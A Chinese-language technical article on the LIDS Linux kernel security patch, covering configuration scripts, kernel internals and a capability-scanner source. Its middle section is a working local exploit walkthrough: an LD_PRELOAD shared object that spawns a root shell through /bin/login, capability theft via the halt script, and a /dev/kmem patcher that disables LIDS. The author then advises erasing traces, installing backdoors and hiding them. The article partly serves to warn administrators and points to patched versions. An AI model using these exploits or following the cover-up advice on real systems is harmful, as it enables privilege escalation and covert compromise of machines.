/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_NET_ADMIN -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_ADMIN -i 1 -j GRANT
*.针对隐藏的进程,因为进程隐藏所以关机的时候无法停止隐藏进程,导致不能正确的umount文件系统,重起的时候会对硬盘进行检查,使启动时间加长,所以在隐藏进程后,要对隐藏的进程的停止脚本加以修改。
例如隐藏了httpd进程后,需要修改/etc/rc.d/init.d/httpd杀死隐藏进程
...
stop() {
echo -n "Shutting down http: "
kill -15 `cat /var/run/httpd.pid`
sleep 5
#killproc httpd
RETVAL=$?
echo
[ $RETVAL = 0 ] && rm -f /var/lock/subsys/httpd /var/run/httpd.pid
}
...
配置脚本:
---------------------------------------------------------------------------------
#!/bin/sh
# Flush old rules
/sbin/lidsconf -Z
# Protect/etc/lids
/sbin/lidsconf -A -o /etc/lids -j DENY
# Protect System Binaries
/sbin/lidsconf -A -o /sbin -j READONLY
/sbin/lidsconf -A -o /bin -j READONLY
# Protect all of /usr and /usr/local
/sbin/lidsconf -A -o /usr -j READONLY
/sbin/lidsconf -A -o /usr/local -j READONLY
# Protect the System Libraries
/sbin/lidsconf -A -o /lib -j READONLY
# Protect System Configuration files
/sbin/lidsconf -A -o /etc/rc.d -j READONLY
/sbin/lidsconf -A -o /etc/rc0.d -j READONLY
/sbin/lidsconf -A -o /etc/rc1.d -j READONLY
/sbin/lidsconf -A -o /etc/rc2.d -j READONLY
/sbin/lidsconf -A -o /etc/rc3.d -j READONLY
/sbin/lidsconf -A -o /etc/rc4.d -j READONLY
/sbin/lidsconf -A -o /etc/rc5.d -j READONLY
/sbin/lidsconf -A -o /etc/rc6.d -j READONLY
/sbin/lidsconf -A -o /etc/init.d -j READONLY
/sbin/lidsconf -A -o /etc/rc.local -j READONLY
/sbin/lidsconf -A -o /etc/rc.sysinit -j READONLY
/sbin/lidsconf -A -o /etc/sysconfig -j READONLY
/sbin/lidsconf -A -o /etc/hosts -j READONLY
/sbin/lidsconf -A -o /etc/hosts.allow -j READONLY
/sbin/lidsconf -A -o /etc/hosts.deny -j READONLY
/sbin/lidsconf -A -o /etc/passwd -j READONLY
/sbin/lidsconf -A -o /etc/shadow -j DENY
/sbin/lidsconf -A -o /etc/lilo.conf -j DENY
# Enable system authentication
/sbin/lidsconf -A -s /bin/login -o /etc/shadow -j READONLY
/sbin/lidsconf -A -s /bin/su -o /etc/shadow -j READONLY
/sbin/lidsconf -A -s /bin/su -o CAP_SETUID -j GRANT
/sbin/lidsconf -A -s /bin/su -o CAP_SETGID -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_SETUID -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_SETGID -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_CHOWN -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_FSETID -j GRANT
# Protect the boot partition
/sbin/lidsconf -A -o /boot -j READONLY
# Protect root's home dir, but allow bash history
/sbin/lidsconf -A -o /root -j READONLY
/sbin/lidsconf -A -s /bin/bash -o /root/.bash_history -j WRITE
# Protect system logs
/sbin/lidsconf -A -o /var/log -j APPEND
/sbin/lidsconf -A -o /var/log/dmesg -j WRITE
/sbin/lidsconf -A -s /bin/login -o /var/log/wtmp -j WRITE
/sbin/lidsconf -A -s /bin/login -o /var/log/lastlog -j WRITE
/sbin/lidsconf -A -s /sbin/init -o /var/log/wtmp -j WRITE
/sbin/lidsconf -A -s /sbin/init -o /var/log/lastlog -j WRITE
/sbin/lidsconf -A -s /sbin/halt -o /var/log/wtmp -j WRITE
/sbin/lidsconf -A -s /sbin/halt -o /var/log/lastlog -j WRITE
/sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/wtmp -i 1 -j WRITE
/sbin/lidsconf -A -s /etc/rc.d/rc.sysinit -o /var/log/lastlog -i 1 -j WRITE
# Shutdown
/sbin/lidsconf -A -s /sbin/init -o CAP_INIT_KILL -j GRANT
/sbin/lidsconf -A -s /sbin/init -o CAP_KILL -j GRANT
# Give the following init script the proper privileges to kill processes and
# unmount the file systems. However, anyone who can execute these scripts
# by themselves can effectively kill your processes. It's better than
# the alternative, however.
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_INIT_KILL -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_KILL -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_NET_ADMIN -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_ADMIN -i 1 -j GRANT
/sbin/lidsconf -A -s /etc/rc.d/init.d/halt -o CAP_SYS_RAWIO -i 1 -j GRANT
# Other
/sbin/lidsconf -A -s /sbin/update -o CAP_SYS_ADMIN -j GRANT
/sbin/lidsconf -A -s /sbin/consoletype -o CAP_SYS_ADMIN -j GRANT
#Protect and hide Httpd
/sbin/lidsconf -A -o /etc/httpd -j DENY
/sbin/lidsconf -A -s /usr/sbin/httpd -o /etc/httpd -j READONLY
/sbin/lidsconf -A -s /usr/sbin/httpd -o CAP_HIDDEN -j GRANT
---------------------------------------------------------------------------------
运行命令/sbin/lidsadm -S -- -LIDS切换到不受lids保护的状态,然后执行配置脚本,运行命令/sbin/lidsadm -S -- +RELOAD_CONF,更新lids配置,最后lidsadm -S -- +LIDS切换到lids保护状态
通过命令如ls /etc/shadow、ls /etc/lids、touch /sbin/x、ps ax|grep http等命令测试lids保护的文件、目录和进程等;通过扫描器扫描测试lids的检测功能以及lids的响应功能等。最好的办法是模仿黑客成功入侵后所做的活动,如装rootkit等来检验lids的主要功能。
可以到下载下面的测试程序:
http://www.lids.org/download/test-lids.sh
http://www.lids.org/download/test-lids.sh.asc
下面开始入侵装有lids的linux,当然该lids是有bug的了。
首先是获得一个普通帐号了,通过finger、sendmail等或是社交工程都可以,相信难不倒各位,只要有个帐号就可以,当然还需要能够远程登录,如果能本机登录就更好了!
[test@rh72 test]$ls /proc/sys
abi debug dev fs kernel lids net proc
[test@rh72 test]$ls /sbin/lids*
/sbin/lidsadm /sbin/lidsconf
--可见该系统安装了lids
[test@rh72 test]$vi testlids.sh
---------------------------------------------------------------------------------
#!/bin/sh
# Creates /tmp/boom.so you might
# use to let LIDS leak capabilities
# to your shell.
cat>/tmp/boom.c<<_EOF_;
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
_init()
{
char *a[] = {"/bin/bash", NULL};
setuid(0);
close(0);close(1);close(2);
open("/dev/tty", O_RDWR);
dup(0);
dup(1);
execve(*a,a,NULL);
return -1;
}
_EOF_
cc -c -fPIC /tmp/boom.c -o /tmp/boom.o
ld -Bshareable /tmp/boom.o -o /tmp/boom.so
echo "OK";
---------------------------------------------------------------------------------
[test@rh72 test]$ chmod +x testlids.sh
[test@rh72 test]$ ./testlids.sh
OK
[test@fire lids]$ LD_PRELOAD=/tmp/boom.so /bin/login
[root@fire lids]# whoami
root
哇塞,这么容易就获得root权限了,比没有装lids的linux更容易,真爽!:)
可见,普通用户通过LD_PRELOAD可以直接从装有存在bug的lids的系统中获得超级用户权限,所以安装lids的管理员一定要注意升级和配置lids。
(之所以通过/bin/login直接获得root权限是因为采用如下的lids配置命令
/sbin/lidsconf -A -s /bin/login -o CAP_SETUID -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_SETGID -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_CHOWN -j GRANT
/sbin/lidsconf -A -s /bin/login -o CAP_FSETID -j GRANT )
[root@fire lids]# ./capscan -b (capscan用来探测lids的功能约束)
b 5 CAP_KILL
[root@fire lids]# touch /sbin/xlids
touch: /sbin/xlids: Operation not permitted
[root@fire lids]#LD_PRELOAD=/tmp/boom.so /etc/rc.d/init.d/halt
[root@fire lids]# ./capscan -b
b 5 CAP_KILL
b 12 CAP_NET_ADMIN
b 17 CAP_SYS_RAWIO
b 21 CAP_SYS_ADMIN
b 27 CAP_MKNOD
--可见我们已经从halt脚本获得了CAP_NET_ADMIN、CAP_SYS_RAWIO和CAP_SYS_ADMIN功能
[root@fire lids]# touch /sbin/xlids
touch: /sbin/xlids: Operation not permitted
[root@fire lids]# ls -al /etc/lids
ls: /etc/lids: No such file or directory
[root@fire lids]# /sbin/lidsconf -L
LIST
LIDS: lidsconf(dev 3:1 inode 150018) pid 630 ppid 581 uid/gid (0/0) on (vc/1):
access hidden file /etc/lids/lids.conf
lidsconf:cannot open /etc/lids/lids.conf
reason: No such file or directory
--可见lids仍起作用,并对/sbin和/etc/lids作了保护,其中/sbin作了只读保护,/etc/lids拒绝访问
[root@fire lids]#vi lidsoff.c
---------------------------------------------------------------------------------
#lidsoff.c: //主要是将内核中的变量lids_load置为0
/* Simple and stupid kmem patcher for LIDS.
* Licensed under the GPL. :-)
*/
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
char zero;
off_t off;
int kmem;
if (argc < 2) {
printf("Usage: %s <addr-of-lids_local_on-in-hex>\n\n", *argv);
return 1;
}
kmem = open("/dev/kmem", O_RDWR);
if (kmem < 0)
die("open");
off = strtoul(argv[1], 0, 16);
printf("# Patching [%x]\n", off-4);
lseek(kmem, off-4, SEEK_SET);
read(kmem, &zero, sizeof(zero));
printf("%d -> 0\n", zero);
lseek(kmem, off-4, SEEK_SET);
zero = 0;
write(kmem, &zero, sizeof(zero));
close(kmem);
return 0;
}
---------------------------------------------------------------------------------
[root@fire lids]# gcc -o lidsoff lidsoff.c
[root@fire lids]# grep lids /proc/ksyms
c0113868 lids_send_message_Rsmp_ccaa3a65
c029af60 lids_load_Rsmp_a57ab5ad
c029af64 lids_local_on_Rsmp_641824fe
c029af6c lids_local_pid_Rsmp_2a2dd337
c0129270 lids_local_off_Rsmp_445f75c1
[root@fire lids]# ./lidsoff
Usage: ./lidsoff <addr-of-lids_local_on-in-hex>
[root@fire lids]# ./lidsoff c029af64
# Patching [c029af60]
1 -> 0
哈哈, lids已经关闭了,不再起作用了!
[root@fire lids]# ls /etc/lids/lids.conf
/etc/lids/lids.conf
[root@fire lids]# touch /sbin/xlids
至此,已经完全控制了装有lids的linux,很easy是吧,最后别忘了擦脚印、装后门。当然可以利用lids隐藏后门程序目录和进程了,连rootkit都可以省了。完事后切换lids的状态,不然管理员很容易就发现入侵了。不过受害机器的控制台上可能会有一些警告显示,最好是重起或者用一些扫描信息替换掉!:)
对于2.4用户:
http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz
http://www.lids.org/download/lids-1.1.1pre2-2.4.16.tar.gz.asc
(或者lids-1.1.1pre2以后的版本)
对于2.2用户:
http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz
http://www.lids.org/download/LIDS-security-patch-0.10.1-2.2.20.diff.gz.asc
(或者lids-0.11.0以后的版本)
附capscan 源程序:
--------------[ stealth <[email protected]> ]--------------------------------
#cap.h
---------------------------------------------------------------------------------
#ifndef __cap_h__
#define __cap_h__
#include <linux/capability.h>
typedef struct __user_cap_header_struct cap_user_header;
typedef struct __user_cap_data_struct cap_user_data;
int capget(cap_user_header_t,cap_user_data_t);
int capset(cap_user_header_t,cap_user_data_t);
int print_cap(cap_user_data_t, cap_user_data_t);
int brute_caps();
#endif
---------------------------------------------------------------------------------
# cap.c
---------------------------------------------------------------------------------
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <linux/module.h>
#include <errno.h>
#include <sys/ptrace.h>
#include <sys/stat.h>
#include "cap.h"
extern int wait(int *);
int try_chown()
{
char p[] = "/tmp/fooXXXXXX";
int r, fd = mkstemp(p);
if (fd < 0)
return 0;
close(fd);
/* try a give-away */
if (chown(p, getuid()+1, getgid()+1) < 0)
r = 0;
else
r = 1;
unlink(p);
return r;
}
int try_setuid()
{
int euid = geteuid();
if (seteuid(euid + 1) < 0)
return 0;
seteuid(euid);
return 1;
}
int try_setgid()
{
int egid = getegid();
if (setegid(egid + 1) < 0)
return 0;
setegid(egid);
return 1;
}
int try_kill()
{
/* XXX: suffices? */
if (kill(1, SIGCONT) < 0)
return 0;
return 1;
}
int try_bind()
{
struct sockaddr_in sin;
int r, fd = socket(PF_INET, SOCK_STREAM, 0);
if (fd < 0)
return 0;
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(666);
if (bind(fd, (struct sockaddr*)&sin, sizeof(sin)) < 0)
r = 0;
else
r = 1;
close(fd);
return r;
}
int try_net_raw()
{
int fd = socket(PF_INET, SOCK_RAW, 0);
if (fd >= 0) {
close(fd);
return 1;
}
return 0;
}
int try_nice()
{
return (nice(-1) == 0);
}
extern caddr_t create_module(const char *, size_t);
int try_module()
{
errno = 0;
create_module("adore", 1234);
delete_module("adore");
return (errno == 0);
}
int try_chroot()
{
int r;
if (fork() == 0) {
if (chroot("/tmp") < 0)
exit(0);
else
exit(1);
}
wait(&r);
return r != 0;
}
int try_rawio()
{
int fd = open("/dev/kmem", O_RDONLY);
if (fd < 0)
return 0;
close(fd);
return 1;
}
int try_admin()
{
char h[1024];
memset(h, 0, sizeof(h));
gethostname(h, sizeof(h));
if (sethostname("hola!", 5) < 0)
return 0;
sethostname(h, strlen(h));
return 1;
}
int try_net_admin()
{
int sock;
struct ifreq ifr;
strcpy(ifr.ifr_name, "lo");
if ((sock = socket(PF_INET, SOCK_DGRAM, 0)) < 0)
return 0;
if (ioctl(sock, SIOCGIFFLAGS, &ifr) < 0)
return 0;
ifr.ifr_flags &= ~IFF_UP;
if (ioctl(sock, SIOCSIFFLAGS, &ifr) < 0)
return 0;
ifr.ifr_flags |= IFF_UP;
ioctl(sock, SIOCSIFFLAGS, &ifr);
close(sock);
return 1;
}
int try_ptrace()
{
int child, r = 0;
if ((child = fork()) == 0) {
sleep(10);
exit(0);
}
if (ptrace(PTRACE_ATTACH, child, 0, 0) < 0)
r = 0;
else
r = 1;
kill(child, SIGKILL);
wait(NULL);
return r;
}
int try_mknod()
{
unlink("/tmp/fd0");
if (mknod("/tmp/fd0", 0600|S_IFCHR, 2<<8) < 0)
return 0;
unlink("/tmp/fd0");
return 1;
}
struct {
int value;
char *name;
int (*try)();
} caps[] = {
{0, "CAP_CHOWN", try_chown},
{1, "CAP_DAC_OVERRIDE", NULL},
{2, "CAP_DAC_READ_SEARCH", NULL},
{3, "CAP_FOWNER", NULL},
{4, "CAP_FSETID", NULL},
{5, "CAP_KILL", try_kill},
{6, "CAP_SETGID", try_setgid},
{7, "CAP_SETUID", try_setuid},
{8, "CAP_SETPCAP", NULL},
{9, "CAP_LINUX_IMMUTABLE", NULL},
{10, "CAP_NET_BIND_SERVICE", try_bind},
{11, "CAP_NET_BROADCAST", NULL},
{12, "CAP_NET_ADMIN", try_net_admin},
{13, "CAP_NET_RAW", try_net_raw},
{14, "CAP_IPC_LOCK", NULL},
{15, "CAP_IPC_OWNER", NULL},
{16, "CAP_SYS_MODULE", try_module},
{17, "CAP_SYS_RAWIO", try_rawio},
{18, "CAP_SYS_CHROOT", try_chroot},
{19, "CAP_SYS_PTRACE", try_ptrace},
{20, "CAP_SYS_PACCT", NULL},
{21, "CAP_SYS_ADMIN", try_admin},
{22, "CAP_SYS_BOOT", NULL},//haha :>
{23, "CAP_SYS_NICE", try_nice},
{24, "CAP_SYS_RESOURCE", NULL},
{25, "CAP_SYS_TIME", NULL},
{26, "CAP_SYS_TTY_CONFIG", NULL},
{27, "CAP_MKNOD", try_mknod},
{28, "CAP_LEASE", NULL},
{-1, (void*)0}
};
/* if (capable(d.cap_effective, CAP_SYS_MODULE)
* ...
*/
int capable(int cap, int flag)
{
return (cap & (1<<flag));
}
int print_cap(cap_user_data_t new, cap_user_data_t old)
{
int i = 0;
FILE *f;
if (!new || !old)
return -1;
f = fopen("/dev/tty", "w+");
if (!f)
return -1;
fprintf(f, "nE %x nI %x nP %x\n"
"oE %x oI %x oP %x\n\n",
new->effective, new->inheritable, new->permitted,
old->effective, old->inheritable, old->permitted);
/* Print New's advanced (effective) caps over old ones */
/* HACK! This is left here due to a private version of capcan */
for (i = 0; caps[i].value != -1; ++i) {
if (capable(new->effective, caps[i].value) &&
!capable(old->effective, caps[i].value))
fprintf(f, "e %d %s\n", caps[i].value, caps[i].name);
}
printf("\n");
/* Print New's advanced (inhertiable) caps over old ones */
for (i = 0; caps[i].value != -1; ++i) {
if (capable(new->inheritable, caps[i].value) &&
!capable(old->inheritable, caps[i].value))
fprintf(f, "i %d %s\n", caps[i].value, caps[i].name);
}
/* No news */
if (new->effective == new->permitted)
return 0;
printf("\n");
/* Print New's advanced permitted caps */
for (i = 0; caps[i].value != -1; ++i) {
if (capable(new->permitted, caps[i].value) &&
!capable(old->permitted, caps[i].value))
fprintf(f, "p %d %s\n", caps[i].value, caps[i].name);
}
fclose(f);
return 0;
}
int brute_caps()
{
int i = 0;
for (; caps[i].value != -1; ++i) {
if (caps[i].try) {
if (caps[i].try()) {
printf("b %d %s\n", caps[i].value,
caps[i].name);
}
}
}
return 0;
}
---------------------------------------------------------------------------------
#capscan.c
---------------------------------------------------------------------------------
#include <stdio.h>
#include <errno.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <dirent.h>
#include <fcntl.h>
#include "cap.h"
extern pid_t wait(int *);
void die(const char *s)
{
perror(s);
exit(errno);
}
int main(int argc, char **argv)
{
cap_user_header h;
cap_user_data d, we;
h.version = _LINUX_CAPABILITY_VERSION;
h.pid = 0;
if (argc < 2) {
fprintf(stderr, "Usage: %s [-w] [-b]\n", *argv);
exit(1);
}
/* Just print the caps we have yet */
if (argv[1][1] == 'w') {
if (capget(&h, &we) < 0)
die("capget");
memset(&d, 0, sizeof(d));
print_cap(&we, &d);
} else if (argv[1][1] == 'b') {
brute_caps();
}
return 0;
}
因为Linux是一个开放源代码的系统,漏洞很容易发现,并且也会很快的有补丁出来。但是当漏洞没有公布的时候,并且管理员很懒,没有去打补丁。黑客就会很容易的攻击这个系统,取得root权限,在现有的GNU/Linux下,他就可以做任何他想做的事情。现在你可以问,我们现在到底可以做些什么呢?
1、现在的GNU/Linux错误在哪里?
超级用户会滥用职权,他能够做所有他要做的事情。作为root。他会改变所有的东西。
许多系统文件很容易被更改。这些文件可能是很重要的文件,如/bin/login,如果一个黑客进入,他可以上传一个login程序来覆盖/bin/login,这样他就可以不用登陆名和密码来登陆系统。但是这些文件不需要经常改动,除非你要升级系统。
模块modules很容易用来中断内核。模块是为了让Linux内核更模块话和更高效而设计的。但是当模块加入到内核,它就会成为内核的一部分并且能做原始内核能做的工作。因此,一些不友好的代码可以写成模块来加入到内核里,这些代码就会重定向系统调用并且作为一个病毒来运行。
进程是不受保护的,一些进程,如后台的Web服务器,一直都认为是没有严格保护的程序。因此,他们就会很容易被黑客攻击。
2、LIDS的设想是什么。
保护重要文件。因为文件很容易被root更改,为什么不严格文件操作呢?因此,LIDS改变了文件系统在内核里的安全系统调用。如果某个时候一些人访问一个文件,他就会进入系统调用然后我们就可以检查文件名并且看她们是否被保护。如果它已经被保护,我们就可以拒绝这个访问者的要求。
保护重要的进程。这个和上面的保护进程的想法不是一样的。当一个系统里运行一个进程,它会在/proc 文件系统里有一个用pid作为路径名的入口。所以,如果你用"ps -axf"你就可以显示出当前运行的进程。你可以问如果保护这些进程。如果你要杀死一个进程的话,首先,你键入"ps"来得到进程的PID,然后,你键入"kill 〈pid〉"来杀死它。但是,如果我不让你看到进程,你怎么来杀死这个进程呢?因此,LIDS是用隐藏进程来保护它的。 另外一个重要的方法就是不让任何人可以杀死进程,包括root用户。LIDS能够保护父进程是init(pid=1)的所有进程 。
封装内核。有时候我们需要要把一些必要的模块加入到内核里来使用,另外,我们也要拒绝任何人包括root用户向内核插入模块。那么如何来平衡这个矛盾的问题呢?我们可以只允许在系统启动的时候插入模块,然后我们封装模块,在封装后,内核不允许任何人插入模块到内核里。通过这种封装功能,我们能用它来保护重要的文件,进程,我们可以在系统启动的时候只允许必要的进程,只改变必要的文件。在封装内核后,我们就不能在对文件有任何的修改。
只读的文件或目录。只读文件意味着它们不被允许改写,如,在目录/usr/bin,/sbin。这些类型的文件大多数都是二进制系统程序或是系统配置文件,除了在升级系统的时候,我们不需要改变它们。
只可增加文件或目录。这些文件是那些只可以增加大小的文件。大多数是系统的日值文件,如在/var/log里的只可增加文件。
额外的文件或目录,这些文件没有被保护。一般来说,你想要保护目录下的所有文件,但是,还需要有一些特殊的文件不要被保护。所以我们可以定义这些文件作为额外的其他的只读文件。
保护挂载或卸载文件系统。当你在启动的时候挂载文件系统的时候,你可以禁止所有人,甚至是root,去卸载文件系统。你也可以禁止任何人在当前文件系统下挂载文件系统来覆盖它。
2、LIDS如何在内核保护文件
在这部分,我们会看到一些内核的代码来理解LIDS是如何保护文件的。
(1)、Linux文件系统数据结构程序
首先,我们必须了解Linux的虚拟文件系统。
在Linux里的每一个文件,不管是什么样子的,都有一个结点inode数,文件系统提供了以下数据结构。
在/usr/src/linux/include/linux/fs.h
struct inode {
struct list_head i_hash;
struct list_head i_list;
struct list_head i_dentry;
unsigned long i_ino; ----> inode number.
unsigned int i_count;
kdev_t i_dev; ----> device number.
umode_t i_mode;
nlink_t i_nlink;
uid_t i_uid;
......
}
注意:用来鉴定一个结点inode。这个意思是你可以用一对来得到一个系统里独一无二的inode。
在/ur/src/linux/cinclude/linux/dcache.h里
struct dentry {
int d_count;
unsigned int d_flags;
struct inode * d_inode; /* Where the name belongs to - NULL is negative */
struct dentry * d_parent; /* parent directory */
struct dentry * d_mounts; /* mount information */
struct dentry * d_covers; struct list_head d_hash; /* lookup hash list */
struct list_head d_lru; /* d_count = 0 LRU list */
struct list_head d_child; /* child of parent list */
struct list_head d_subdirs; /* our
......
}
dentry是一个目录文件的入口。通过这个入口,我们可以很容易的在文件的父目录下移动。
例如,如果你一文件的inode是(struct inode*)file_inode,如果你可以用file_inode->d_entry来得到它的目录入口并且用file_inode->d_entry->d_parent来得到父目录的目录入口。
(2)、LIDS保护数据结构
在分析完linux文件系统后,让我们来看看LIDS是如何容VFS来保护文件和目录的。
在/usr/src/linux/fs/lids.c
struct secure_ino {
unsigned long int ino; /* the inode number */
kdev_t dev; /* the dev number /*
int type; /* the file type */
};
上面的结构用一对来存储保护文件或目录的结点。"type"是用来标明保护结点文件类型的。
LIDS有4种类型:
在/usr/src/linux/include/linux/fs.h
#define LIDS_APPEND 1 /* APPEND ONLY FILE */
#define LIDS_READONLY 2 /* Read Only File */
#define LIDS_DEVICE 3 /* Protect MBR Writing to device */
#define LIDS_IGNORE 4 /* Ignore the protection */
通过secure_ino结构,我们能很容易的初使化保护的文件或是在内核里执行以下函数。
在/usr/src/linux/fs/lids.c
int lids_add_inode(unsigned long int inode ,kdev_t dev , int type)
{
if ( last_secure == (LIDS_MAX_INODE-1))
return 0;
secure[last_secure].ino = inode;
secure[last_secure].dev = dev;
secure[last_secure].type = type;
secure[++last_secure].ino = 0;
#ifdef VFS_SECURITY_DEBUG
printk("lids_add_inode : return %dn",last_secure);
#endif
return last_secure;
}
就象你在上面代码上可以看到的,给secure_ino加到一个结点上是非常容易的。被保护的结点会在系统启动的时候初使化。初使化程序在/usr/src/linux/fs/lids.c的init_vfs_security()里。
现在,让我们看看LIDS是如何来检查是否一个结点已经受到保护。
在/usr/src/linux/fs/open.c
int do_truncate(struct dentry *dentry, unsigned long length)
{
struct inode *inode = dentry->d_inode;
int error;
struct iattr newattrs;
/* Not pretty: "inode->i_size" shouldn't really be "off_t". But it is. */
if ((off_t) length < 0)
return -EINVAL;
#ifdef CONFIG_LIDS
if (lids_load && lids_local_load) {
error =
lids_check_base(dentry,LIDS_READONLY);
if (error) {
lids_security_alert("Try to truncate a protected file (dev %d %d,inode %ld)",
MAJOR(dentry->d_inode->i_dev),
MINOR(dentry->d_inode->i_dev),
dentry->d_inode->i_ino);
.....................
这个是LIDS加到内核里做检测的一个例子。你会看到lids_check_base()是LIDS保护方法的一个核心函数。
你可以在LIDS要保护的地方看到很多LIDS保护方法用到lids_check_base()函数,特别是在linux内核的子目录下。
在/usr/src/linux/fs/lids.c
int lids_check_base(struct dentry *base, int flag)
{
..................
inode = base->d_inode; /* get the inode number */
parent = base->d_parent; /* get the parent diretory */
.................
----> do {
if ( inode == parent->d_inode)
break;
if ((retval = lids_search_inode(inode))) {
if ( retval == LIDS_IGNORE || (retval == LIDS_DEVICE && flag != LIDS_DEVICE)) break;
if ( flag == LIDS_READONLY || ( flag == LIDS_APPEND && retval >flag ) || ( flag == LIDS_DEVICE && flag == retval )) {
return -EROFS;
} break; }
inode = parent->d_inode;
} while( ((parent = parent->d_parent ) != NULL) );
return 0;
}
lids_check_base()会检查一个给定文件的dentry和它的父目录是否被保护。
注意:如果它的父目录被保护,它下面的文件也会被保护。
例如,如果"/etc/"被保护,"/etc/passwd"也一样被保护。
(3)、在内核保护系统调用
为了保护系统,LIDS会在一些检查临界的系统调用的时候做检查。因此,我们可以保护系统调用和限制文件系统的用户调用。
这些是一些例子:
·open(),open是通过禁止一些权利来保护文件的打开。你可以在打开调用open_namei()调用的时候LIDS在检测它。
·mknod(),mknod是用来在指定目录下保护mknod。
·unlink(),在内核代码检查do_unlink()。
1、设备,内核I/O
在GNU/Linux系统下的设备会以文件的形式表达,所以我们可以用保护文件系统那样来保护设备。
用户的I/O访问是通过系统调用sys_operm和sys_iopl来实现的。你可以看看/usr/src/linux/arch/i386/kernel/ioport.。这个是要基于系统结构的,要是到其他平台,就需要注意它们的变化。
2、如何用LIDS来保护
大多数情况下,程序不需要通过在/dev的设备文件名称来访问设备。但是,一些特殊的程序需要直接访问,如X Server,这个会写到/dev/mem和甚至是I/O设备。我们需要一些额外的东西来保护设备。LIDS会在配置内核的时候来定义这个功能。
·CONFIG_LIDS_ALLOW_DEV_MEM,如果你选择了开启这个功能,你就可以允许一些特殊程序来访问/dev/men和/dev/kmen这些内核临界的设备。如果你想要用内核的X Server,选择这个功能就会在配置内核的时候提供整个路径和文件名。
·CONFIG_LIDS_ALLOW_RAW_DISKS,如果选择这个开启,你就可以允许一些特殊的程序来访问物理磁盘。
·CONFIG_LIDS_ALLOW_IO_PORTS,如果你选择了开启这个功能,你就可以允许一些特殊的程序来访I/O端口。
当系统运行fs/lids.c里的init_vfs_security()的时候初使化就被调用。
#ifdef CONFIG_LIDS_ALLOW_DEV_MEM
lids_fill_table (allow_dev_mem,&last_dev_mem,LIDS_MAX_ALLOWED,CONFIG_LIDS_DEV_MEM_PROGS);
#endif
#ifdef CONFIG_LIDS_ALLOW_RAW_DISKS
lids_fill_table(allow_raw_disks,&last_raw_disks,LIDS_MAX_ALLOWED,CONFIG_LIDS_RAW_DISKS_PROGS);
#endif
#ifdef CONFIG_LIDS_ALLOW_IO_PORTS
lids_fill_table (allow_io_ports,&last_io_ports,LIDS_MAX_ALLOWED,CONFIG_LIDS_IO_PORTS_PROGS);
#endif
如果一个进程或是程序要直接访问ip端口或是磁盘设备,LIDS就会检查它在数组allow_raw_disk,last_io_ports,等)。这个检查是通过调用lids_check_base()里的lids_search_inode(inode)来实现的。
比如,让我们看看CONFIG_LIDS_ALLOW_DEV_MEM
/* in lids_search_inode() */
#ifdef CONFIG_LIDS_ALLOW_DEV_MEM
for( i = 0 ; i < last_dev_mem ;i++ ) {
if ( allow_dev_mem[i].ino == ino && allow_dev_mem[i].dev == dev) {
return LIDS_READONLY;
}
}
#endif
#ifdef CONFIG_LIDS_ALLOW_RAW_DISKS
在allow_dev_mem包括了哪一个程序结点在系统启动的时候在init_vfs_security()里初使化。用同样的方法,除了一些特殊程序,我们可以保护设备,I/O访问等等。
1、不可杀死的进程。
就象你可以看到是否有人要夺得root特权一样,我们可以很容易的杀死那些该内核发送特别信号的进程。为了杀死一个进程,你必须得到进程的ID,然后用kill命令来杀死它。
系统杀死进程的调用是kill,是在内核里的sys_kill()命令里的调用。
让我们看看LIDS的保护代码
在/usr/src/linux/kernel/signal.c里
asmlinkage int
sys_kill(int pid, int sig)
{
struct siginfo info;
#ifdef CONFIG_LIDS_INIT_CHILDREN_LOCK pid_t this_pid;
int i;
#ifdef CONFIG_LIDS_ALLOW_KILL_INIT_CHILDREN
if (!(current->flags & PF_KILLINITC))
#endif
if (lids_load && lids_local_load && LIDS_FISSET(lids_flags,LIDS_FLAGS_LOCK_INIT_CHILDREN)) {
this_pid = pid>0?pid:-pid;
for(i=0;i
if( this_pid == lids_protected_pid[i]) {
lids_security_alert("Try to kill pid=%d,sig=%dn",pid,sig);
return -EPERM;
}
}
}
#endif
...
}
你可以在内核里看到两个标签,,CONFIG_LIDS_INIT_CHILDREN_LOCK 和CONFIG_LIDS_ALLOW_KILL_INIT_CHILDREN.
在CONFIG_LIDS_INIT_CHILDREN_LOCK的开启状态,LIDS能保护初使的运行程序。如,如果你在系统里运行inetd程序,你可以在隐藏内核前运行它,然后,你还可以杀死它。但是一些人如果telnet到你的机器,inetd就会创造子进程来为用户服务,这个子进程不会被LIDS保护,因为用户在任何时候退出和杀死程序。
2、隐藏进程
另外一个保护进程的方法就是隐藏进程。当一个黑客危机你的系统。他会登陆,然后会看看有没有一些已知的进程在监视它。然后他就杀死它。如果你隐藏了这个功能的进程,黑客就不会知道进程的所有情况并且你可以记录他在你系统上做的任何事情。
如何隐藏进程
为了隐藏进程,你必须在配置内核的时候提供一个完全的路径名。
当内核启动的时候,LIDS会访问文件结点到一个叫proc_to_hide[]的结构里。
